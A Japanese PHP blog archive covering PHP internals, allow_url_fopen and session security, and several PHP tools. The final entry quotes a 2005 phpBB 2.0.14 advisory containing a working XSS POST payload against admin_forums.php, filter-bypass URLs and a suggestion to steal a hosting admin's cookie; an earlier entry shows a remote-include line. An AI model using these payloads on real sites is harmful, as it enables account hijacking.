タグ: PHP

関数の戻り値と定数値(リテラル)への参照

追記:このエントリへのアクセスが多いので加筆修正しました。

Fatal error: Only variables can be passed by reference

直訳すると「致命的エラー:変数のみ参照渡しが可能です」となります。エラーメッセージの通りvariable(以外)の値は参照として渡せないのでエラーになっています。エラーメッセージが適切かどうかは微妙ですが、意訳すると「致命的エラー:ソースコード中に記述した定数値(リテラル)へのアクセスはできません」あたりが妥当と思います。当然ですがdefineで定義した定数値を返す事は可能です。PHP内部では定数は変更できない「変数」の様に実装されているからです。このエントリの「定数値」を正確に書くと「ソースコード中に記述された定数値」となります。

もっと読む

allow_url_fopen

追記:
現在のPHPではリモートファイル読み込みを制御するphp.ini設定としてallow_url_fopen(URL等のファイルとして読み込むフラグ)とallow_url_include(URLなどをPHPスクリプトとして読み込むフラグ)があります。php://input(標準入力用のURL。Webアプリの場合、POSTリクエストなどが読み込める)もallow_url_include=Offでは利用できません。このためallow_url_include=Offの場合、リモートスクリプトからの読み込みを防止できます。

基本的には

  • allow_url_includeは常に無効(JSONなどでなくPHPスクリプトとしてリモートデータを読む、などの場合は局所的に有効化)
  • allow_url_fopenは全く必要ないなら無効

とすると良いでしょう。

PHPを使っている方はHTTP/FTP/SSH等のプロトコルでリモートサーバ上のファイルをローカルファイルの様に読み書きできる事をご存知と思います。この機能はphp.ini設定のallow_url_fopenディレクティブで有効/無効を設定できるようになっています。PHP 4.3.4より前のPHPではこの機能のスクリプト中からも無効/有効に設定を変更する事ができました。(INI_ALLの設定項目であった)

驚いたことにPHP 4.3.4からphp.iniからしかこの設定を変更できなくなってしまいました。(INI_SYSTEMの設定項目になった)誰かがセキュリティ強化を目的として変更したのだとは思いますが、セキュリティも強化できず、有用なリモートファイルアクセス機能も使えなくする非常に拙い変更です。

例えば、phpBB(BBSアプリケーション)ではinclude/require文に不適切に処理されたユーザ入力が利用されている為、リモートスクリプトを読み込み実行できてしまう非常に深刻なセキュリティ上の問題がまた最近見つかりました。phpBBはallow_url_fopen機能が無効であっても動作するので

allow_url_fopen = Off

と設定するか必ず読み込まれる設定ファイルで

ini_set(‘allow_url_fopen’, 0);

とすると、phpBBのようなアプリケーションでも比較的安全に運用することができました。

しかし、allow_url_fopenがINI_SYSTEMの設定項目になった為、前者の方法を取ると他のアプリケーションで、場合によっては非常に有用な、allow_url_fopen機能を使えなくなってしまいました。後者の方法は、特定のアプリケーションのみの設定を変更するのに有効ですが、INI_SYSTEM設定項目であるため実際には無効に設定できなくなってしまいました。

セキュリティ上の意味は容易に理解できるであろうと、internals@list.php.net にallow_url_fopenの設定を

デフォルトOFF
INI_ALLへ変更

するように提案して見たところ議論が結構荒れています…
この設定が安全かつ不必要な機能制限が無く、最も良い設定と思うのですが…

# allow_url_fopen_includeのようにinclude/require文用の設定
# を追加するのも良いですが、デフォルトOFF、INI_ALLであるべき
# と思います。

php-rast

Rastとはネットワーク応用通信研究所が開発している全文検索システムです。

本ソフトウェアは,あらかじめ対象となる文書群から検索に必要な情報を格納するデータベースを作成しておき,それに対して検索を行う全文検索システムです.

検索方式は N-gram 方式や分かち書き方式から選べます.また,必要に応じて文字列処理モジュールを差し替えることができます.

なお,本ソフトウェアは IPA の平成16年度オープンソフトウェア活用基盤整備事業の委託を受けて開発を行っています.

このRast用のPHPモジュールを冨田冨田隆三さんが公開されています。

名古屋市立大学の冨田です

以前、全文検索エンジンRast のモジュールを公開したところ、ここでライセンス違反の可能性を指摘されて公開を止めていましたが、Rast-0.2.0 で BSD ライクな緩いライセンスに変更されたようなのでまた公開してみます。

ダウンロードはこちらからどうぞ。
http://a157.debian.co.jp/php_rast/

冨田

サンプルの動作は良い感じです。サンプルコードもざっと見てみましたが使いやすそうです。

_php_stream_passthru

php-usersのMLに投稿した内容の補足です。コードはPHP 4.4の開発ブランチのソースです。

main/stream.cに_php_stream_passthru関数が定義されています。reafile関数(ファイルの中身を全て出力)、fpassthru関数(ファイルリソースの中身を全て出力)に利用されています。

PHPAPI size_t _php_stream_passthru(php_stream * stream STREAMS_DC TSRMLS_DC)
{
    size_t bcount = 0;
    int ready = 0;
    char buf[8192];
#ifdef HAVE_MMAP
    int fd;
#endif

#ifdef HAVE_MMAP
    if (!php_stream_is(stream, PHP_STREAM_IS_SOCKET)
            && stream->filterhead == NULL
            && php_stream_tell(stream) == 0
            && SUCCESS == php_stream_cast(stream, PHP_STREAM_AS_FD, (void*)&fd, 0))
    {
        struct stat sbuf;
        off_t off;
        void *p;
        size_t len;

        fstat(fd, &sbuf);

        if (sbuf.st_size > sizeof(buf)) {
            off = php_stream_tell(stream);
            len = sbuf.st_size - off;
            p = mmap(0, len, PROT_READ, MAP_SHARED, fd, off);
            if (p != (void *) MAP_FAILED) {
                BG(mmap_file) = p;
                BG(mmap_len) = len;
                PHPWRITE(p, len);
                BG(mmap_file) = NULL;
                munmap(p, len);
                bcount += len;
                ready = 1;
            }
        }
    }
#endif
    if(!ready) {
        int b;

        while ((b = php_stream_read(stream, buf, sizeof(buf))) > 0) {
            PHPWRITE(buf, b);
            bcount += b;
        }
    }
    return bcount;
}

注目すべきは以下です。

            if (p != (void *) MAP_FAILED) {
                BG(mmap_file) = p;
                BG(mmap_len) = len;
                PHPWRITE(p, len);
                BG(mmap_file) = NULL;
                munmap(p, len);
                bcount += len;
                ready = 1;
            }

PHPWRITEマクロは最終的に出力バッファに書き出します。PHPからの出力は最終的にWebサーバにバッファされる場合があります。つまり、一度に大量のデータを出力するとメモリを大量に必要とする可能性があります。

Momoery Mapped I/Oの利点がバッファ無しでデータを読める事は分りますが、大きなファイルを送信するには不適切な事は明らかです。データを適切なチャンクサイズに区切ってPHPWRITEに書き込むよう変更しなければならないですね…

DokuWiki

久しぶりにmadwifiの設定をしようとmadwifiのページを見てみると見慣れないWikiを使っていたのでどんなWikiかさらっと見てみました。インストールやソースを読んでいないので見てみた感想です。

基本的なWiki機能はそろっているようです。ページの場所 “top>a page>another page”の様に表示されるのも便利です。ログインユーザ登録もサポートしているようで、Eメールアドレスを登録してから編集を許可する、という運用ができるのはSPAM対策やセキュリティ対策に役立つと思います。

次のような機能を持っているようです。

DokuWiki Features here

* works on plain text files, no database needed
* simple syntax and easy editing with quickbuttons and accesskeys
* Section Editing allows you to edit small parts of a page
* automatic generation of content tables
* unlimited page revisions
* colored side by side diff support
* support for read only pages
* syndication of recent changes as RSS Feed
* namespaces
* Interwiki Links
* uploading and embedding images
* image caching and resizing
* easy navigation through breadcrumbs
* Customizing with templates and plugins
* Multilanguage Support
* Spam blacklist
* custom text replacements
* pagecaching
* locking to avoid edit conflicts
* full UTF-8 support
* and more

Wiki機能の比較は見るだけでも興味深いと思います。

Tipsのページを見てみると色々な機能が追加できる事が分かります。SVGをPNGやGIFに変換、ページをPostscriptに変換、HTMLからDokuWiki形式への変換方法が記載されています。

面白かったのはNanoWebをサポートするWebサーバとして記載されている所です。NanoWebはPHPで記述されたWebサーバで

Nanoweb’s main features are :

– HTTP/1.1 compliance
– Powerful and easy configuration
– Modular architecture
– FastCGI, CGI and Server side includes support
– Name and port based virtual hosts
– Access control lists
– htpasswd, MySQL, PostgreSQL and LDAP authentication support
– Themes for server generated content
– Apache compatible log format, MySQL logging
– Directory browsing
– inetd support and SSL via external helpers
– Denial of Service protection
– Proxy Server extension
– Filters and gzip support
– RBL support (mail-abuse.org)
– Extension Protocols (request methods) support
– … and a lot more

と色々盛り沢山です。

コマンドラインのPHPさえインストールされていれば自分でWebサーバを立てる事ができます。NanoWebのソースは以前に読んだ事があるので多少は分かります。pluginの作成は簡単そうでした。速度的にも普通(?)のリクエスト数であれば十分処理できるパフォーマンスでした。(思ったより速くて驚いたと思います)

PHP4でpublic

PHP本家の開発ML internals@lists.php.net ではPHP4でpublic宣言を行えるようにするかどうかで盛り上がっています。

PHP5を使っている方はご存知の通り、PHP5からオブジェクトのプロパティはpublic, protected, privateにアクセスレベルを限定できるようになりました。それと同時に古いプロパティ宣言であるvar宣言は使わないよう推奨されています。

初めの頃のPHP5のリリースではPHP5で追加されたE_STRICTエラーを表示する為の記述に間違いがありました。E_ALLではE_STRICTエラーでは表示されず、E_ALL | E_STRICTにしなければなりません。E_STRICTエラーにはvar宣言についてもvarではなくpublic, private, protectedを使用する旨のエラーが発生します。E_STRICTエラーを表示する設定方法に間違いがあったため、E_STRICTエラーには気が付きづらかったと思います。E_STRICTレベルエラーを有効にしてエラーの数に驚いた方も多いかも知れません。

しかし、var宣言エラーの問題さえクリアすればほとんどE_STRICTレベルのエラーを回避し、PHP4とPHP5の両方で実行できるコードを書くことも可能になります。現状ではPHP4ではクラス定義の際、プロパティは必ずvar宣言しなければならないのでクラスを使えばE_STRICTエラーは必ず発生します。

class foo {
public $var;
}

をPHP4でも使えるようにするメリットはあります。PHP4用のコードと言いつつPHP4.4より古いPHP4では実行できなくなるのも困るというのも分かります。

私はPHP4の文法は拡張せず最初に読み込むアプリケーションの設定ファイルなどで


error_reporting(E_ALL);

を実行する方がよいのではないかと思っています。
この方法には最初に読み込まれるファイルが在ること、そのファイルにクラス定義が含まれないと前提条件もありますがこれでも十分ではないかと思います。

# 最悪、auto_prependでerror_reporing設定を変える方法も使えます。

S2PHP5

S2PHP5は名前の通りPHP5専用のフレームワークだそうです。

説明

Java版のSeasar2を、PHP5に移植します。

 マイルストーン
M1: Java版Seasar2をPHP化する (バージョン 0.9x)
パッケージ構成やインタフェースを統一し、Javaのソースをできるだけ変更することなくPHP5に書き換えます。
M2: PHPらしくリファクタリング (beta バージョン)
リリース1.0 に向けて、移植もれ、移植ミス、動作不具合への対応。
また、実装方法、命名規則、名前空間、クラス定義の読込み方法や設定ファイルの在り方等々、ユーザ様からの声を検討、反映し、「 易しく・優しく・PHPらしく 」 を目標にリファクタリングします。
ご意見・要望など Seasar-User ML までお願いします。

最初のリリース(0.92)は5/29のようです。現在は0.93(6/9)が最新リリースのようです。

面白そうなので近いうちに時間を作って試して見たいです。

# 私のアンテナあまり広くないので、面白そうな情報があった
# ら是非教えてください :) 

Serendipity – PHP Blog System

Blogツールの選択肢は多すぎてどれを選べば良いか迷う程ですがSerendipityというPHPで記述されたBlogシステムを知りました。

WYSIWYG HTMLエディタも利用できたり、全てのRSSとATOMに対応、イメージのリサイズサポート等、割と良くできていると思います。PHP5ならSQLiteをデータベースとして利用できるのでDBサーバ無しでも利用できる点が良いと思います。

Developer Team
Jannis Hermanns
Sterling Hughes
George Schlossnagle
Wez Furlong
Sebastian Bergmann
Garvin Hicking
Tom Sommer
Joyce Park
Christian Mühlhaeuser
Joseph Tate

開発者の名前を見るとPHPプロジェクトのコミッターが多いですね。
# 私が知らないだけで、全員コミッターかも知れませんが。

b2evolutionから乗り換えるには、統計情報、SPAM排除機能等が必要ですね。これらの機能はまだないようです。

PHP 5.1でgoto!?

なんだかPHP 4.4ブランチが出来たりして??と思っていたところ「goto文をPHP 5.1で!」と言う事でinternals@lists.php.netが盛り上がっています。

goto文が無くて困ることは無いのですが、あって困る事は沢山あります。自分だけがコードを書くわけではありませんしgoto文の乱用は簡単です。しかし、今まで無くて困らなかったのに何故今頃、という感じです。

万が一goto文がサポートされても使わないようにしましょう(笑

allow_url_fopenは無効に設定

Webサイト構築で注意しなければならない箇所は決まりきっています。PHPのiniオプションでかなり危険な設定ですがデフォルトで有効かつシステムレベルでのみ設定変更可能なiniディレクティブ、allow_url_fopenがその内の一つです。

このオプションが有効な場合、ほとんど全てのファイル関数でローカルファイル以外にURL(HTTP、FTP)を利用しリモートファイルを読み込みます。インクルード系の関数も同様です。

include('http://code.example.com/script.php');

と記述するとリモートサーバに保存されたスクリプトを読み込んでローカルホストで実行します。先日のphpbbのセキュリティーホールはこのタイプのミスだったようですね。このタイプのセキュリティーホールは【緊急より更に上】レベルの重大な問題です。しかし、何度も同じようなミスは色々なプログラムで発生しています。

私も機会がある度にこのオプションの危険性について紹介していますがどうも不毛な気がしてきました。この際、この機能はデフォルト無効、有効にした場合もallow_url_fopenは利用可能なサーバを列挙可能なように仕様を変更した方が良いですね。

パッチの作成は簡単なのですが…

追記:
allow_url_fopenがINI_SYSTEMである件を「あれ?」と思ってちょっと調べて見るとPHP4.3.4からINI_ALLだったものがINI_SYSTEMになっていますね。この変更、かなりまずい変更だと思います… サーバ管理者がallow_url_fopenの動作を制限できるようにするなら、sefe_mode_url_fopen等のディレクティブを新たに作り管理者が制限できるように実装するべきです。INI_SYSTEMに変えてしまうと共有サーバでは設定変更ができない可能性があります。スクリプト中の特定箇所でのみallow_url_fopenを有効にする、などの現実的な対処も行えなくなります。どうしたものか…

PHPに足りないもの

よく「中規模以上のプロジェクトにPHPは向かない」と聞きますがJavaに比べると確かにその通りです。Beanなんて考え方は無いですし「JCPで作られた数々の標準に対応するような物がない」と言われても仕方ない状況です。言語仕様についても結構アバウトで微妙な仕様が突然変わったりします。
# 最近では5.0.3でコンストラクタをprivateで宣言できなくなった件があ
# ります。これは次の5.0.5で修正されますが。
# PHP4->PHP5ではオブジェクトを配列にキャストするとPHP5ではおかしな
# 動作をするなどがあります。

(特に現在は)PHPでJavaのような環境を前提としたしシステム開発には無理があります。Javaのようにいたれりつくせりの環境、アプリケーションサーバの付加分散等までフレームワークでやってしまえるような環境であるJavaと比べれば、明らかにPHPは中規模・大規模に向かないと言えます。

PHPでの開発は、どちらかと言うと、C言語での開発に近いのではと思います。いたれりつくせりの標準フレームワークは無い事、詳細は異なりますがアバウトなデータ型管理、などC言語での開発に似ている点はいくつかあると思います。C言語がJavaのような標準フレームワークを持っていないくても色々な分野で利用されています。最近ではC言語での大規模開発は相対的に少なくなって来ているとは思いますが、C言語で中規模以上の開発は向かない、と言う方はいないと思います。

ここでプロジェクトの規模について簡単に整理してみます。プロジェクトの規模には大きく分けて2種類あると考えています。1つは開発時の開発体制の規模、もう1つは運用時のシステムの規模です。

「開発体制規模が大きなシステム=運用時のシステム規模が大きなシステム」は成り立ちません。PHPが向かないと言われているシステムは「開発体制規模が大きなプロジェクト」であり、「運用時のシステム規模が大きなプロジェクト」ではありません。作るアプリケーションによりますがPHPで大規模システム(後者)を構築すると非常に開発効率が良い場合もあります。開発者が20名を超える中規模(会社によっては100名以下は小規模という会社もいくつもあると思いますが)システムの場合、プロジェクト管理により高度な技術的な知識が必要となり、プロジェクトを進行しづらい状況もあるとは思います。反対に安直にJavaで作ってしまい、スケーラビリティに欠けるWebシステムになってしまった、と言う話もよく聞きます。
# スケーラビリティに欠けるシステムはPHPでも簡単につくれますが、
# Javaのフレームワークを過信する間違いはよく聞きます。

PHPに足りない物は開発者の分業を可能とするフレームワークです。PHP5になって、PHP4との互換性を考えなければ、フレームワークを構築する開発者は随分やりやすくなってきています。PHP5になりフレームワークをルールに則り利用する事を強制する事も可能なりました。DIを実装しているMapleなどのフレームワークが充実してくるとこの状況も徐々に改善してくる事と思います。特に日本製フレームワーク、MapleEnthaに期待したいと思います。

session_regenerate_idの使い方に注意!

久しぶりにPHP-users MLを見るとsession_regenerate_id関数が「古いセッションIDに関連したセッション情報を削除しないのは困るよね」と投稿がありました。

バグレポートではBogus(バグじゃない)というステータスになっていました。確かにsession_regenerate_id関数は新しいセッションIDを生成する為の関数として追加されました。新しいセッションIDを作れば仕様上は問題ない、と主張できるかもしれません。しかし、アプリケーションの作り方によってはセキュリティ上の問題を発生させる原因になるので変更するべきですね。

セッションモジュール、セーブハンドラモジュール、シリアライザモジュールの各グローバル変数がマクロでアクセスされる作りになっています。(セッションモジュールは更にサブモジュールと持つ構造になっています。随分前ですがWeb+DB Pressに書いた通りです。興味のある方はどうぞ。)さらに引数などもマクロで定義されているため、初めて読むプログラマには非常に分かりづらいソースになっています。

PHPセッションモジュールのソースを読んだ事がある方なら分かりますが、グローバル変数を使用している、今回の場合はPSマクロで利用するグローバル変数、のでセッションID、PS(id)、を保存しないとならないように思えます。
# 今思いつきましたが、PS(data)にempty_stringを入れて
# おけばOKなような気がします。

session_destory関数にはバグがあるようでセッション情報は空になりますが、ファイルをunlinkしたいようなコードになっているのですが…、unlinkされていません。XFSなど、ディレクトリエントリにB-Treeを使用しているファイルシステムでは大量のファイルがあっても性能上や使用上問題ありません。個人的には50万ファイル(50万セッション)までファイル作成してベンチマークしてみましたが、性能は全く変わりませんでした。

ext3を利用している場合、2の問題で困る可能性があります。一つはinodeの枯渇ともう一つパフォーマンスの低下です。デフォルトではinodeが枯渇する可能性は大きいと思います。DoSの原因にもなるので注意しましょう。Linuxの場合、ディレクトリエントリはキャッシュされているので多数のファイルがある場合でもかなり良い性能ですが、それでも何十万ファイルレベルになると遅くなります。

セッション管理は有効期限を0に設定したセッションクッキー(ブラウザの終了と同時に削除されるクッキー)を利用し、自動再ログインなどの仕組みはアプリケーションでセキュリティ上の問題が許容される取り扱い方法を独自に実装する方が良い、と考えています。

もし有効期限が長いセッションIDを利用してログイン状態を保ち、セッションIDの再生成でXSSのリスクを軽減されている場合はsession_destroyを使用してセッションの削除を忘れないようにしなければなりません。ご注意ください。

phpbbにまたセキュリティーホール…

セキュリティホールの指摘は良いことですが、パッチする前はルール違反ですね… 内容をよく確認していませんがクロスサイトスクリプティングの様です。Low Riskという認識にも問題があるかと…

いろいろ異論があるとは思いますがクロスサイトスクリプティングのリスクは中程度とするべきと考えています。アカウントの乗っ取りが可能なリスクですから。phpbbは何年も前になるのですがソースをざっと見て直感的に危ないと感じたこと、実際にバグが多すぎなこと、などからphpbbを使った事がないので分かりませんが管理者のアカウントが乗っ取られても登録されている個人情報(メールアドレスなど)が盗めないような仕組みにはなっていないと思いますがどうなんでしょう?

/*
——————————————————–
[N]eo [S]ecurity [T]eam [NST]ョ – Advisory #14 – 17/04/05
——————————————————–
Program: phpBB 2.0.14
Homepage: http://www.phpbb.com
Vulnerable Versions: phpBB 2.0.14 & Lower versions
Risk: Low Risk!!
Impact: Multiple Vulnerabilities.

-==phpBB 2.0.14 Multiple Vulnerabilities==-
———————————————————

– Description
———————————————————
phpBB is a high powered, fully scalable, and highly customizable
Open Source bulletin board package. phpBB has a user-friendly
interface, simple and straightforward administration panel, and
helpful FAQ. Based on the powerful PHP server language and your
choice of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers,
phpBB is the ideal free community solution for all web sites.

– Tested
———————————————————
localhost & many forums

– Explotation
———————————————————
-==Bad Filter of HTML Code==-
phpBB2/profile.php?mode=viewprofile&u=\[]\
phpBB2/viewtopic.php?p=3&highlight=\[]\
#########################################################
-==XSS==-
POST /admin/admin_forums.php?sid=7bd54a5a9861ef180af78897e70 HTTP/1.1
forumname=<script>alert(‘NST’)</script>&forumdesc=<script>alert(‘NST’)</script>&c=1&forumstatus=0&prune_days=7&prune_freq=1&mode=createforum&f=&submit=Create new forum

Some people cannot find it interest someones yes but well i dont care because if you put some effort you know that
you can do a lot with this, like fooling the Admin of the Hosting to get his cookie & and then get access to whm…

– References
——————————————————–
http://neosecurityteam.net/Advisories/Advisory-14.txt

– Credits
————————————————-
Discovered by HaCkZaTaN <hck_zatan@hotmail.com>

[N]eo [S]ecurity [T]eam [NST]ョ – http://neosecurityteam.net/

Got Questions? http://neosecurityteam.net/

Irc.gigachat.net #uruguay [NeoSecurity IRC]

– Greets
——————————————————–
Paisterist
Daemon21
LINUX
erg0t
uyx
CrashCool
Makoki
KingMetal
r3v3ng4ns

And my Colombian people

@@@@”’@@@@’@@@@@@@@@’@@@@@@@@@@@
‘@@@@@”@@’@@@””””@@”@@@”@@
‘@@’@@@@@@”@@@@@@@@@””’@@@
‘@@”’@@@@””””’@@@””@@@
@@@@””@@’@@@@@@@@@@””@@@@@
*/

/* EOF */